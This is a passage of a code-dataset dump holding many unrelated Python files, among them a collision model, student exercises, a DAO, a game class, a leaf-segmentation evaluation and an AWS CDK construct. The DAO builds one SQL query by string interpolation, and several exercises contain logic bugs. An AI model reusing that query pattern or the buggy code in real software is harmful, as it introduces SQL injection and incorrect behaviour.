human\n \"\"\"\n self.eff_mass_robot = self.__get_eff_mass_robot(robot_part_id)\n self.eff_mass_human = self.__get_eff_mass_human(human_part_id)\n\n k_robot = self.__get_eff_spring_const_human(robot_part_id)\n k_human = self.__get_eff_spring_const_human(human_part_id)\n self.eff_spring_const = 1 / (1/k_robot + 1/k_human)\n\n def __get_eff_mass_human(self, part_id):\n \"\"\"Get effective human mass based on colliding part\n\n Parameters\n ----------\n part_id : int\n Part ID of colliding part\n\n Returns\n -------\n float\n Effective mass of colliding part of the human\n \"\"\"\n return eff_mass_human[part_id] * self.human_mass\n\n def __get_eff_spring_const_human(self, part_id):\n \"\"\"Get effective spring constant of the human based on colliding part\n\n Parameters\n ----------\n part_id : int\n Part ID of colliding part\n\n Returns\n -------\n float\n Effective spring constant of colliding part of the human\n \"\"\"\n return eff_spring_const_human[part_id]\n\n def __get_eff_spring_const_robot(self, part_id):\n \"\"\"Get effective spring constant of the robot based on colliding part\n\n Parameters\n ----------\n part_id : int\n Part ID of colliding part\n\n Returns\n -------\n float\n Effective spring constant of colliding part of the robot\n \"\"\"\n return eff_spring_const_robot[part_id]\n\n def __get_eff_mass_robot(self, part_id):\n \"\"\"Get effective robot mass based on colliding part\n\n Parameters\n ----------\n part_id : int\n Part ID of colliding part\n\n Returns\n -------\n float\n Effective mass of colliding part of the robot\n \"\"\"\n return eff_mass_robot[part_id] * self.robot_mass\n\n def __get_contact_force(self, penetration):\n \"\"\"Get contact force based on penetration\n\n Parameters\n ----------\n penetration : float\n Penetration of robot into human\n\n Returns\n -------\n float\n Effective Contact Force\n \"\"\"\n if penetration > 0:\n # No Contact\n return 0\n else:\n return (-self.eff_spring_const * penetration)\n\n def __get_loc_on_bumper(self, pos):\n theta = np.arctan2(pos[0] - self.ftsensor_loc[1], - pos[1] - self.ftsensor_loc[0])\n h = self.bumper_height - pos[2]\n return (h, theta)\n\n def __cartesian_to_differential(self, pos, vx, vy):\n pt = (-pos[1], pos[0])\n self.inv_jacobian = np.array([\n [pt[1]/pt[0], 1.],\n [-1./pt[0], 0.],\n ])\n return (self.inv_jacobian @ np.array([vx, vy]))\n","repo_name":"ignc-research/IR-DRL","sub_path":"modular_drl_env/world/obstacles/human_lib/collision.py","file_name":"collision.py","file_ext":"py","file_size_in_byte":8456,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"19"} +{"seq_id":"70524100205","text":"class Node():\n def __init__(self, data=None):\n self._data = data\n self._next = None\n self._prev = None\n\n def getdata(self):\n return self._data\n\n def getnext(self):\n return self._next\n\n\nclass List():\n def __init__(self):\n self._begin = None\n self._end = None\n\n def first(self):\n return self._begin.getdata()\n\n def isEmpty(self):\n if self._begin == None:\n return True\n return False\n\n def insertEnd(self, data=None):\n newnode = Node(data)\n\n if self.isEmpty():\n self._begin = self._end = newnode\n else:\n newnode._prev = self._end\n self._end._next = newnode\n self._end = newnode\n\n def search(self, x):\n i = self._begin\n while i != None:\n if x == i._data:\n break\n else:\n i = i._next\n return i\n\n def removeElement(self, x):\n found_node = self.search(x)\n if found_node != None:\n if found_node._prev != None:\n found_node._prev._next = found_node._next\n else:\n self._begin = found_node._next\n if found_node._next != None:\n found_node._next._prev = found_node._prev\n else:\n self._end = found_node._prev\n\n return found_node\n\n def removeFromBegin(self):\n node = self._begin\n if not self.isEmpty():\n if node._next == None:\n self._end = None\n else:\n node._next._prev = None\n self._begin = node._next\n return node\n\n def Reset(self):\n self._begin = self._end = None\n\n def lenght(self):\n node = self._begin\n len = 0\n while node != None:\n node = node._next\n len += 1\n return len\n\n def __str__(self):\n s = ''\n i = self._begin\n while i != None:\n s += '{} '.format(i.getdata())\n i = i.getnext()\n return s\n\n def __iter__(self):\n i = self._begin\n while i != None:\n yield i._data\n i = i._next\n\n\nn = int(input())\nD, E = List(), List()\nresult = 0\nfor i in range(n):\n boots = input().split()\n if boots[1] == 'E':\n E.insertEnd(boots[0])\n else:\n D.insertEnd(boots[0])\n\nfor i in D:\n if i in E:\n result += 1\n E.removeElement(i)\nprint(result)\n","repo_name":"gdias9487/FPC","sub_path":"BotasTrocadas.py","file_name":"BotasTrocadas.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"39338756650","text":"#!usr/bin/env python3\n\nfrom tkinter import *\n\nfruit = ['apple','ss','banana','pear']\n\nclass app:\n def __init__(self):\n self.root = Tk()\n self.root.title(\"MonkeyTool\")\n self.frm = Frame(self.root)\n self.frm_L = Frame(self.frm)\n self.fruit = StringVar()\n Label(self.frm_L, text='手机:', font=('Arial', 10)).pack(side=LEFT)\n self.list = Listbox(self.frm_L,listvariable =self.fruit, font=('Arial', 10)).pack(side=RIGHT)\n # self.list.bind('',fruit)\n self.frm_L.pack(side=LEFT)\n #self.root.resizable(0, 0)\n self.frm.pack(side=LEFT)\n\n self.root.mainloop()\n\n\nif __name__ == '__main__':\n app()\n","repo_name":"wangzhenxa/monkeyToolAssistant","sub_path":"monkeyui.py","file_name":"monkeyui.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"23974528609","text":"from cursor_del_pool import CursorDelPool\n\nclass PlantaDAO:\n _seleccionar = 'SELECT * FROM planta'\n _seleccionar_uno = 'SELECT * FROM planta WHERE'\n _insertar = 'INSERT INTO planta(id_empresa, nombre, certificado_aa_opds, categoria_caa, puntaje, potencia_electrica, normas_certificadas, dl_calle, dl_numero, dl_localidad, dl_cp, da_calle, da_numero, da_localidad, da_cp, dp_calle, dp_numero, dp_localidad, dp_cp, telefono, email, pagina_web, gps_west, gps_north) VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)'\n\n @classmethod\n def seleccionar(cls):\n with CursorDelPool() as cursor:\n cursor.execute(cls._seleccionar)\n registros = cursor.fetchall()\n plantas = []\n for registro in registros:\n planta = []\n for i in range(17):\n planta.append(registro[i])\n plantas.append(planta)\n return plantas\n\n @classmethod\n def seleccionar_uno(cls, valores):\n with CursorDelPool() as cursor:\n query = f'{cls._seleccionar_uno} {valores[0]} = \\'{valores[1]}\\''\n cursor.execute(query)\n registros = cursor.fetchall()\n if cursor.rowcount != 1:\n empresas = []\n for registro in registros:\n empresa = []\n for i in range(17):\n empresa.append(registro[i])\n empresas.append(empresa)\n else:\n empresas = list(registros)\n return empresas\n\n @classmethod\n def insertar(cls, planta):\n with CursorDelPool() as cursor:\n if type(planta) == dict:\n valores = []\n for clave in planta:\n valores.append(planta[clave])\n elif type(planta) == list:\n valores = planta\n valores = tuple(valores)\n cursor.execute(cls._insertar, valores)","repo_name":"matiasjrodriguez/OTEC","sub_path":"dao/planta.py","file_name":"planta.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"29080632813","text":"from helper import get_nearest\nfrom colors import PICO_BLUE, PICO_DARKBLUE, PICO_WHITE\nfrom particle import Particle\nfrom .ship import Ship, THRUST_PARTICLE_RATE\nfrom bullet import Bullet\nimport random\nimport math\nfrom v2 import V2\n\nRANGE = 21\nNEARBY_RANGE = 30\nFIRE_RATE = 1.0\nTHREAT_RANGE_DEFAULT = 30\nTHREAT_RANGE_DEFENSE = 60\n\nBAD_TARGET_FIND_NEW_TIME = 10.0\n\nclass Fighter(Ship):\n def __init__(self, scene, pos, owning_civ):\n Ship.__init__(self, scene, pos, owning_civ, \"assets/fighter.png\")\n self.collision_radius = 4\n self.state = \"traveling\"\n self.name = \"fighter\"\n\n self.fire_time = 0\n self.force_travel_time = 0\n\n self.bad_target_timer = 0\n self.bad_target = False\n\n self.current_dogfight_target = None\n\n def assault(self, target, dt):\n self.fire_time += dt\n fleet_target_vector = self.get_fleet_target_vector()\n if fleet_target_vector.sqr_magnitude() > 2 ** 2:\n self.state = \"traveling\"\n self.force_travel_time = 1.0\n\n towards = (target.pos - self.pos).normalized()\n cross = self.turn_towards(towards, dt)\n rate = FIRE_RATE / (1 + self.owning_civ.upgrade_stats['fire_rate'])\n if abs(cross) < 0.1 and self.fire_time >= rate:\n self.fire_time = 0\n b = Bullet(self.pos, target, self, {})\n self.scene.game_group.add(b)\n\n self.velocity += -towards * 2\n self.pos += -towards * 2\n self.thrust_particle_time = THRUST_PARTICLE_RATE\n\n for i in range(10):\n pvel = (towards + V2(random.random() * 0.75, random.random() * 0.75)).normalized() * 30 * (random.random() + 0.25)\n p = Particle([PICO_WHITE, PICO_WHITE, PICO_BLUE, PICO_DARKBLUE, PICO_DARKBLUE], 1, self.pos, 0.2 + random.random() * 0.15, pvel)\n self.scene.game_group.add(p)\n\n def is_assault_target(self, t):\n return t.owning_civ != None and t.owning_civ != self.owning_civ and t.health > 0\n\n def is_good_target(self, t):\n return self.is_assault_target(t) or t.owning_civ == self.owning_civ\n\n def get_threats(self):\n enemies = self.scene.get_enemy_ships(self.owning_civ)\n threat_range = THREAT_RANGE_DEFAULT\n if self.target.owning_civ == self.owning_civ:\n threat_range = THREAT_RANGE_DEFENSE\n return [e for e in enemies if (e.pos - self.pos).sqr_magnitude() < threat_range ** 2]\n\n def dogfight(self, threats, dt):\n if self.current_dogfight_target == None or self.current_dogfight_target.health <= 0:\n self.current_dogfight_target = random.choice(threats)\n dist = (self.current_dogfight_target.pos - self.pos).sqr_magnitude()\n if dist < RANGE ** 2:\n self.assault(self.current_dogfight_target, dt)\n else:\n towards = (self.current_dogfight_target.pos - self.pos).normalized()\n target_vector = towards\n target_vector += self.get_fleet_target_vector() \n target_vector = target_vector.normalized()\n self.turn_towards(target_vector, dt)\n self.speed_t += dt\n speed = math.sin(self.speed_t) * 2 + self.base_speed\n speed *= self.owning_civ.upgrade_stats['move_speed'] + 1\n self.velocity = V2.from_angle(self._angle) * speed\n\n self.thrust_particle_time += dt\n if self.thrust_particle_time > THRUST_PARTICLE_RATE:\n pvel = V2(random.random() - 0.5, random.random() - 0.5) * 5\n pvel += -self.velocity / 2\n p = Particle(\"assets/thrustparticle.png\",1,self.pos,1,pvel)\n self.scene.game_group.add(p)\n self.thrust_particle_time -= THRUST_PARTICLE_RATE \n\n def collide(self, other):\n if not self.get_threats() and self.can_land(other):\n self.kill()\n other.add_ship(self.name)\n\n def update(self, dt):\n delta = (self.target.pos - self.pos)\n in_range = delta.sqr_magnitude() < (RANGE + self.target.collision_radius) ** 2\n threats = self.get_threats()\n if threats:\n if self.state == \"traveling\":\n self.velocity = self.velocity * 0.5 \n self.state = \"dogfighting\"\n\n elif self.is_assault_target(self.target) and in_range:\n if self.state == \"traveling\":\n self.velocity = self.velocity * 0.5\n self.state = \"firing\"\n else:\n self.state = \"traveling\"\n\n self.force_travel_time -= dt\n\n if self.state == \"traveling\" or self.force_travel_time > 0:\n if self.can_land(self.target):\n self.orbits = False\n else:\n self.orbits = True\n self.travel_to_target(dt)\n\n elif self.state == \"firing\":\n self.assault(self.target, dt)\n self.pos += (self.velocity + self.push_velocity) * dt\n\n elif self.state == \"dogfighting\":\n self.dogfight(threats, dt)\n self.pos += (self.velocity + self.push_velocity) * dt\n\n nearby = delta.sqr_magnitude() < (NEARBY_RANGE + self.target.collision_radius) ** 2\n\n if (not self.is_good_target(self.target)) and nearby:\n self.bad_target_timer += dt\n if self.bad_target_timer > BAD_TARGET_FIND_NEW_TIME:\n self.bad_target = True\n else:\n self.bad_target_timer = 0\n\n if self.bad_target:\n dist = 9999999\n for p in self.scene.get_civ_planets(self.owning_civ):\n delta = (p.pos - self.pos).sqr_magnitude()\n if delta < dist:\n dist = delta\n self.target = p\n \n\n self._update_image() \n\n return super().update(dt)","repo_name":"sourcery-ai-bot/4x2d","sub_path":"ships/fighter.py","file_name":"fighter.py","file_ext":"py","file_size_in_byte":5832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"19"} +{"seq_id":"10644558935","text":"import time\n\ndef match():\n\tmenpref=dict();womenpref=dict()\n\tn=int(input(\"Enter no. of candidates : \"))\n\tfor i in range(n):\n\t\tprint (\"Enter candidate \",i+1,\" : \")\n\t\tman=input()\n\t\twomenlist= []\n\t\tfor j in range(n):\n\t\t\tprint (\"Enter company choice \",j+1,\" for the candidate : \")\n\t\t\tx=input()\n\t\t\twomenlist.append(x)\n\t\tmenpref.update({man:womenlist})\n\tfor i in range(n):\n\t\tprint (\"Enter company \",i+1,\" : \")\n\t\twoman=input()\n\t\tmenlist= []\n\t\tfor j in range(n):\n\t\t\tprint (\"Enter candidate \",j+1,\" for the company\")\n\t\t\tx=input()\n\t\t\twomenlist.append(x)\n\t\twomenpref.update({woman:menlist})\n\tfreemen=list(menpref.keys()) ;print (\"Free candidates : \",freemen)\n\ttakenwomen=[]\n\tfinal={}\n\twhile freemen!=[]:\n\t for i in freemen:\n\t listofw=menpref.get(i)\n\t for j in listofw:\n\t if j not in takenwomen:\n\t final[j]=i\n\t freemen.remove(i)\n\t takenwomen.append(j)\n\t break\n\t else:\n\t listofm=womenpref.get(j)\n\t r=final.get(j)\n\t p=listofm.index(i)\n\t q=listofm.index(r)\n\t if p 0\n green = np.zeros_like(image, np.uint8)\n green[imask] = image[imask]\n\n # save\n cv2.imwrite(\"T3Ggreen.png\", green)\n\n # fig = plt.gcf()\n # fig.set_size_inches(40, 40)\n # plt.subplot(211), plt.imshow(image), plt.title('Original')\n # plt.xticks([]), plt.yticks([])\n # plt.subplot(212), plt.imshow(green), plt.title('green')\n # plt.xticks([]), plt.yticks([])\n # plt.show()\n\n return green\n\n\ndef dice(im1, im2):\n im1 = np.asarray(im1).astype(np.bool)\n im2 = np.asarray(im2).astype(np.bool)\n\n if im1.shape != im2.shape:\n raise ValueError(\"Shape mismatch: im1 and im2 must have the same shape.\")\n\n # Compute Dice coefficient\n intersection = np.logical_and(im1, im2)\n\n return 2. * intersection.sum() / (im1.sum() + im2.sum())\n\n\ndef get_leaf(image_BGR):\n image_green = green(image_BGR)\n\n src = cv2.GaussianBlur(image_green, (5, 5), 5)\n # cv2.imwrite(\"Ggreen.png\", src)\n if src is None:\n print('Could not open or find the image:')\n exit(0)\n # Show source image\n # show('Source Image', src)\n\n src[np.all(src == 255, axis=2)] = 0\n # Show output image\n # show('Black Background Image', src)\n\n median = cv2.medianBlur(src, 3)\n # show('MedianBlured Image', median)\n # cv2.imwrite(\"median9.png\", median)\n\n for i in range(4):\n median3 = cv2.medianBlur(median, 3)\n median = median3\n # show(f'median3 Image{i}', median3)\n # cv2.imwrite(\"medianmedianmedian333.png\", median)\n\n # Create binary image from source image\n bw = cv2.cvtColor(median, cv2.COLOR_BGR2GRAY)\n _, bw = cv2.threshold(bw, 40, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)\n # cv2.imwrite('GBinary.png', bw)\n bw_medain = cv2.medianBlur(bw, 7)\n # bw_medain= cv2.medianBlur(bw_medain, 25)\n open_bw_medain = opening(opening(bw_medain))\n # cv2.imwrite('Binary_leaf.png', bw_medain)\n # cv2.imwrite('GBinary_median_Open.png', open_bw_medain)\n return open_bw_medain\n\n\ndef IoU(val, image):\n intersection = np.logical_and(val, image)\n union = np.logical_or(val, image)\n iou_score = np.sum(intersection) / np.sum(union)\n # print('IoU is %s' % iou_score)\n return iou_score\n\n\ndef KMEANS(image):\n image2 = image.reshape((-1, 3))\n image2 = np.float32(image2)\n criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 10, 1.0)\n k = 19\n attempts = 10\n ret, label, center = cv2.kmeans(image2, k, None, criteria, attempts, cv2.KMEANS_PP_CENTERS)\n center = np.uint8(center)\n center = np.uint8(center)\n res = center[label.flatten()]\n res2 = res.reshape(image.shape)\n # fig = plt.gcf()\n # fig.set_size_inches(40,40)\n # plt.imshow(res2)\n # plt.axis('off')\n return res2\n\n\ndef watershed_and_Dilation(img):\n # img = green(cv2.imread(path))\n b, g, r = cv2.split(img)\n rgb_img = cv2.merge([r, g, b])\n\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n ret, thresh = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU)\n\n # noise removal\n kernel = np.ones((2, 2), np.uint8)\n # opening = cv2.morphologyEx(thresh,cv2.MORPH_OPEN,kernel, iterations = 2)\n closing = cv2.morphologyEx(thresh, cv2.MORPH_CLOSE, kernel, iterations=2)\n\n # sure background area\n sure_bg = cv2.dilate(closing, kernel, iterations=3)\n\n # Finding sure foreground area\n dist_transform = cv2.distanceTransform(sure_bg, cv2.DIST_L2, 3)\n\n # Threshold\n ret, sure_fg = cv2.threshold(dist_transform, 0.1 * dist_transform.max(), 255, 0)\n\n # Finding unknown region\n sure_fg = np.uint8(sure_fg)\n unknown = cv2.subtract(sure_bg, sure_fg)\n\n # Marker labelling\n ret, markers = cv2.connectedComponents(sure_fg)\n\n # Add one to all labels so that sure background is not 0, but 1\n markers = markers + 1\n\n # Now, mark the region of unknown with zero\n markers[unknown == 0] = 255\n\n markers = cv2.watershed(img, markers)\n img[markers == -1] = [255, 0, 0]\n\n # fig = plt.gcf()\n # fig.set_size_inches(40, 40)\n #\n # plt.subplot(421), plt.imshow(rgb_img)\n # plt.title('Input Image'), plt.xticks([]), plt.yticks([])\n # plt.subplot(422), plt.imshow(thresh, 'gray')\n # plt.title(\"Otsu's binary threshold\"), plt.xticks([]), plt.yticks([])\n #\n # plt.subplot(423), plt.imshow(closing, 'gray')\n # plt.title(\"morphologyEx:Closing:2x2\"), plt.xticks([]), plt.yticks([])\n # plt.subplot(424), plt.imshow(sure_bg, 'gray')\n # plt.title(\"Dilation\"), plt.xticks([]), plt.yticks([])\n #\n # plt.subplot(425), plt.imshow(dist_transform, 'gray')\n # plt.title(\"Distance Transform\"), plt.xticks([]), plt.yticks([])\n # plt.subplot(426), plt.imshow(sure_fg, 'gray')\n # plt.title(\"Thresholding\"), plt.xticks([]), plt.yticks([])\n #\n # plt.subplot(427), plt.imshow(unknown, 'gray')\n # plt.title(\"Unknown\"), plt.xticks([]), plt.yticks([])\n #\n # plt.subplot(428), plt.imshow(img, 'gray')\n # plt.title(\"Result from Watershed\"), plt.xticks([]), plt.yticks([])\n #\n # plt.tight_layout()\n # plt.show()\n # cv2.imwrite(\"Dilation.png\",sure_bg)\n # cv2.imwrite(\"Watershed Result.png\",img)\n return img\n\n\nif __name__ == '__main__':\n\n dice_list = []\n IoU_list = []\n rgb_image_list = []\n fg_image_list = []\n leaf_image_list = []\n kmeans_image_list = []\n watershed_image_list = []\n path1 = \"Ara2013-Canon\"\n path2 = \"Ara2012\"\n num = 0\n\n start_threshold = time.clock()\n\n for path in [path1, path2]:\n for r_d, d, files in os.walk(path):\n for file in files:\n\n if \"_rgb.png\" in file:\n\n rgb_path = os.path.join(path, file)\n fg_path = os.path.join(path, file.replace(\"_rgb.png\", \"_fg.png\"))\n # print(rgb_path,fg_path)\n # num += 1\n\n\n image_temp_rgb = cv2.imread(rgb_path)\n rgb_image_list.append(image_temp_rgb)\n g = get_leaf(image_temp_rgb)\n\n leaf_image_list.append(g)\n image_temp_fg = cv2.imread(fg_path, cv2.IMREAD_GRAYSCALE)\n fg_image_list.append(image_temp_fg)\n\n elapsed_threshold = (time.clock() - start_threshold)\n\n start_kmeans = time.clock()\n for rgb_image in rgb_image_list:\n kmeans_image_list.append(get_leaf(KMEANS(rgb_image)))\n\n elapsed_kmeans = (time.clock() - start_kmeans)\n\n start_watershed = time.clock()\n for rgb_image in rgb_image_list:\n watershed_image_list.append(get_leaf(watershed_and_Dilation(rgb_image)))\n elapsed_watershed = (time.clock() - start_watershed)\n\n # print(len(rgb_image_list))\n # print(len(fg_image_list))\n #\n # print(leaf_image_list[0].shape)\n # print(fg_image_list[0].shape)\n if len(leaf_image_list) == len(fg_image_list):\n for i in range(len(leaf_image_list)):\n leaf_image = leaf_image_list[i]\n target_fg_image = fg_image_list[i]\n dice_list.append(dice(leaf_image, target_fg_image))\n IoU_list.append(IoU(target_fg_image, leaf_image))\n print(\"=====Threshold=====\")\n print(\"Timing:\", elapsed_threshold)\n print(\"median of dice:\", sorted(dice_list)[21])\n print(\"median of IoU:\", sorted(IoU_list)[21])\n print(\"average dice:\", sum(dice_list) / len(dice_list))\n print(\"average IoU:\", sum(IoU_list) / len(IoU_list))\n\n dice_list_K = []\n IoU_list_K = []\n if len(kmeans_image_list) == len(fg_image_list):\n for i in range(len(kmeans_image_list)):\n leaf_image = kmeans_image_list[i]\n target_fg_image = fg_image_list[i]\n dice_list_K.append(dice(leaf_image, target_fg_image))\n IoU_list_K.append(IoU(target_fg_image, leaf_image))\n print(\"=====K-means=====\")\n print(\"Timing:\", elapsed_kmeans)\n print(\"median of dice:\", sorted(dice_list_K)[21])\n print(\"median of IoU:\", sorted(IoU_list_K)[21])\n print(\"average dice:\", sum(dice_list_K) / len(dice_list_K))\n print(\"average IoU:\", sum(IoU_list_K) / len(IoU_list_K))\n\n dice_list_W = []\n IoU_list_W = []\n if len(watershed_image_list) == len(fg_image_list):\n for i in range(len(watershed_image_list)):\n leaf_image = watershed_image_list[i]\n target_fg_image = fg_image_list[i]\n dice_list_W.append(dice(leaf_image, target_fg_image))\n IoU_list_W.append(IoU(target_fg_image, leaf_image))\n print(\"=====Watershed=====\")\n print(\"Timing:\", elapsed_watershed)\n print(\"median of dice:\", sorted(dice_list_W)[21])\n print(\"median of IoU:\", sorted(IoU_list_W)[21])\n print(\"average dice:\", sum(dice_list_W) / len(dice_list_W))\n print(\"average IoU:\", sum(IoU_list_W) / len(IoU_list_W))\n\n best_index = dice_list.index(max(dice_list))\n worst_index = dice_list.index(min(dice_list))\n\n cv2.imwrite(\"best_watershed.png\", watershed_image_list[best_index])\n cv2.imwrite(\"best_threshold.png\", leaf_image_list[best_index])\n cv2.imwrite(\"best_Kmeans.png\", kmeans_image_list[best_index])\n\n cv2.imwrite(\"worst_watershed.png\", watershed_image_list[worst_index])\n cv2.imwrite(\"worst_threshold.png\", leaf_image_list[worst_index])\n cv2.imwrite(\"worst_Kmeans.png\", kmeans_image_list[worst_index])\n\n show_with_path(\"best_watershed.png\",\"best_watershed.png\")\n show_with_path(\"best_threshold.png\",\"best_threshold.png\")\n show_with_path(\"best_Kmeans.png\",\"best_Kmeans.png\")\n show_with_path(\"worst_watershed.png\",\"worst_watershed.png\")\n show_with_path(\"worst_threshold.png\",\"worst_threshold.png\")\n show_with_path(\"worst_Kmeans.png\",\"worst_Kmeans.png\")\n\n\n plt.figure(figsize=(60, 40))\n plt.title('DSC results\"', fontsize=25)\n plt.xlabel(u'Image', fontsize=25)\n plt.ylabel(u'metrics', fontsize=25)\n\n plt.plot(range(len(dice_list)), dice_list, color=\"deeppink\", linewidth=5, linestyle=':', label='Threshold',\n marker='o')\n plt.plot(range(len(dice_list_K)), dice_list_K, color=\"darkblue\", linewidth=5, linestyle='--',\n label='Kmeans-cluster', marker='+')\n plt.plot(range(len(dice_list_W)), dice_list_W, color=\"green\", linewidth=5, linestyle='-.', label='Watershed',\n marker='*')\n plt.legend(loc=2, fontsize=25)\n plt.savefig(\"DSC results_.png\")\n plt.show()\n\n plt.figure(figsize=(60, 40))\n plt.title('IoU Results', fontsize=25)\n plt.xlabel(u'Images', fontsize=25)\n plt.ylabel(u'metrics', fontsize=25)\n\n plt.plot(range(len(IoU_list)), IoU_list, color=\"deeppink\", linewidth=5, linestyle=':', label='Threshold',\n marker='o')\n plt.plot(range(len(IoU_list_K)), IoU_list_K, color=\"darkblue\", linewidth=5, linestyle='--', label='Kmeans-cluster',\n marker='+')\n plt.plot(range(len(IoU_list_W)), IoU_list_W, color=\"green\", linewidth=5, linestyle='-.', label='Watershed',\n marker='*')\n plt.legend(loc=3, fontsize=25)\n plt.savefig(\"IoU results_.png\")\n plt.show()\n","repo_name":"EdddieZhong/Project-PlantSegmentation-ComputerVision","sub_path":"9517_Group_Submision/Codes/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":12684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"25429240169","text":"import random\nimport string\n\ndefault_words = ['python', 'java', 'kotlin', 'javascript']\n\n\nclass Hangman:\n \"\"\"\n Classic Hangman game\n \"\"\"\n\n def __init__(self, words=None, lives=8, autostart=True):\n \"\"\"\n Setup class\n :param words: iterable object of string. If not given, defaults will be used.\n :param lives: Initial count of lives.\n :param autostart: Enter the menu after instantiation.\n \"\"\"\n\n if words:\n self.words = set(words)\n else:\n self.words = set(default_words)\n\n self.lives = lives\n\n print('H A N G M A N')\n\n if autostart:\n self.menu()\n\n def menu(self):\n \"\"\"\n Menu in a loop.\n Asks for play or exit\n :return: None\n \"\"\"\n while True:\n user_choice = input('Type \"play\" to play the game, \"exit\" to quit: ').lower()\n\n if user_choice == 'exit':\n break\n\n if user_choice == 'play':\n self.play()\n\n def play(self):\n \"\"\"\n A single game round.\n :return: None\n \"\"\"\n\n lives = self.lives\n correct_answer = list(random.choice(list(self.words)))\n guess_status = ['-'] * len(correct_answer)\n guessed_chars = set()\n\n while lives > 0:\n print('\\n' + ''.join(guess_status))\n print(f'You have {lives} lives remaining.')\n\n char = input('Input a letter: ').lower()\n\n if char == 'exit':\n break\n\n if len(char) != 1:\n print('You should input a single letter')\n\n elif char not in string.ascii_lowercase:\n print('It is not an ASCII lowercase letter')\n\n elif char in guessed_chars:\n print('You already typed this letter')\n\n elif char not in correct_answer:\n print('No such letter in the word')\n lives -= 1\n guessed_chars.add(char)\n\n else:\n for j in range(len(correct_answer)):\n if correct_answer[j] == char:\n guess_status[j] = char\n guessed_chars.add(char)\n\n if guess_status == correct_answer:\n print('You guessed the word!\\nYou survived!')\n break\n\n else:\n print('You are hanged!\\n')\n\n\nif __name__ == \"__main__\":\n # Gleich starten, wenn die Datei direkt ausgeführt wird.\n h = Hangman()\n \n","repo_name":"Python-Programmierer-DACH/programme","sub_path":"hangman_v2.py","file_name":"hangman_v2.py","file_ext":"py","file_size_in_byte":2511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"17970523760","text":"# Write a menu driven program in python which will accept a number and choice as ‘a’,’b’,’c’ from the user and calculate the following according to the user choice:\n# a.\tFactorial of each digit (Calculate factorial of each digit and return the the same).\n# b.\tReverse of that number (Calculate Reverse of the number and display)\n# c.\tFactor’s of that number (Display factors of the number)\n\nn = int(input(\"Enter a Number: \"))\nchoice = input(\"Enter your Choice: \")\n\nif choice == \"a\":\n fact = 1\n for i in range(1, n + 1):\n fact = fact * i\n print(\"Factorial of\", n, \"is = \", fact)\n\nelif choice == \"b\":\n print(\"Reverse of\", n, \"is: \", end=\" \")\n rev = 0\n while n > 0:\n rem = n % 10\n rev = rev * 10 + rem\n n = n // 10\n print(rev)\n\nelif choice == \"c\":\n print(\"Factors of\", n, \"are: \", end=\" \")\n for i in range(1, n + 1):\n if n % i == 0:\n print(i, end=\" \")\n","repo_name":"thepranaygupta/Coding-Playground","sub_path":"Python/PCC CS393/Assignment_4.2.py","file_name":"Assignment_4.2.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"72088929642","text":"import json\nimport os\nimport socket\nfrom datetime import datetime\nimport git\nfrom aws_cdk import (\n core,\n aws_ssm as ssm\n)\n\nfrom utils.CDKParams import CDKParams\n\n\nclass GitInfo(object):\n repo_name: str\n repo_branch: str\n commit_sha: str\n commit_message: str\n author_name: str\n author_email: str\n timestamp: str\n host_name: str\n cdk_version: str\n\n def __init__(self, params: CDKParams = None):\n repo = git.Repo(os.getcwd())\n\n self.repo_name = repo.remotes.origin.url\n self.repo_branch = 'master'\n self.commit_sha = repo.head.commit.hexsha\n self.commit_message = repo.head.commit.message.replace('\\n', '')\n self.author_name = repo.head.commit.author.name.replace('\\n', '')\n self.author_email = repo.head.commit.author.email.replace('\\n', '')\n self.timestamp = str(repo.head.commit.committed_date)\n self.host_name = socket.gethostname()\n self.timestamp = datetime.fromtimestamp(float(self.timestamp)).isoformat().replace(':', '_')\n if params:\n self.cdk_version = params.cdk_version\n\n @staticmethod\n def get_prefix():\n return 'CDK/Git'\n\n def __str__(self):\n return json.dumps(self.__dict__, indent=4)\n\n def __repr__(self):\n return self.__str__()\n\n\nclass GitCommit(ssm.CfnParameter):\n \"\"\"\n Placeholder CDK Construct to track which git commit is being deployed using metadata, tags and parameter store\n \"\"\"\n\n def __init__(self, scope: core.Construct) -> None:\n _params = CDKParams(scope)\n\n git_info = GitInfo(_params)\n\n root_parameter_name = f'/{_params.stack_prefix}/CICD/{scope.node.id}'\n\n super(GitCommit, self).__init__(\n scope=scope,\n id=root_parameter_name,\n name=root_parameter_name,\n type='String',\n value=scope.node.id\n )\n\n commit_dict = git_info.__dict__\n\n param_names = ['CURRENT']\n\n for param_name in param_names:\n for key in commit_dict.keys():\n\n parameter_name = f'{root_parameter_name}/Commit/{param_name}/{key.title().replace(\"_\",\"\")}'\n\n ssm.CfnParameter(\n scope=scope,\n id=parameter_name,\n name=parameter_name,\n type='String',\n value=commit_dict[key]\n )\n\n core.Stack.of(self).template_options.metadata = {\n git_info.get_prefix(): commit_dict\n }\n\n for tag in commit_dict.keys():\n core.Tags.of(self).add(f'{git_info.get_prefix()}/{tag}', 